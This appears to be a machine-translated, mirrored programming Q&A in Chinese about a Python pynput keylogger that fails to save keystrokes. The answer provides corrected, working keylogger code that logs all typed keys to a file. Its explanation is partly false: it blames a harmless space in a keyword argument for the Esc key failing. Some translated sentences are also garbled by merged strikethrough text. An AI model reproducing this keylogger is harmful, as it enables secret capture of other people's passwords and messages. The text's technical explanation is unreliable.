簡體   English   中英

鍵盤記錄器不會保存到文本文件,用 python 制作

[英]Keylogger won´t save to text file,made in python

所以我嘗試制作一個鍵盤記錄器,但它不會保存到文本文件中。

第一次制作鍵盤記錄器,已經看過一些教程,但我不知道為什么它不起作用。

這是我的完整代碼

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   if count >= 999999999999999999999999999999999999999999:
       count = 0
       write_file(keys)
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


with Listener(on_press=on_press, on_release =on_release) as listener:
    listener.join()

pycharm中沒有顯示錯誤...

正如約翰戈登在評論中指出的那樣,直到您收集了超過 999999999999999999999999999999999999999999 個密鑰,您的鍵盤記錄器才會保存。 每秒三個鍵,不間斷,這將需要大約一年一千萬年要打字,並會創建一個文件幾乎正好 1GB 1 萬萬億萬億 GB的規模。 然而,根據打字速度測試,人們平均每分鍾打 190-200 個字符(不是單詞) ——為什么不在 50 個字符后每 15 秒左右保存一次? 您可以將其更改為您想要的任何內容。

我還注意到你的程序沒有正確終止——你在on_release =on_release with Listener調用中留下了一個雜散空間,這阻止了鍵盤記錄器捕獲esc鍵(從而也防止了鍵盤記錄器被殺死,除了ctrl-z )。

修改后的代碼在我的機器上運行良好,並捕獲了我的所有輸入。 幽靈般的!

import pynput

from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
   global keys, count

   keys.append(key)
   count += 1
   print("{0} pressed", format(key))

   #change this to whatever you want, knowing the average person types at 
   #190-200 characters per minute. Following that logic, this logger will save every 
   #15 seconds or so during normal typing.
   if count >= 50:
       count = 0
       write_file()
       keys = []


def write_file():
    with open("log.txt", "a") as f:
        for key in keys:
            k = str(key).replace("'","")
            if k.find("space") > 0:
                f.write('\n')
            elif k.find("Key") == -1:
                f.write(k)


def on_release(key):
    if key == Key.esc:
        return False


#note that if you leave a space, like "on_release =on_release", the listener won't
#understand your on_release function and will ignore it
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()

祝你好運!

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM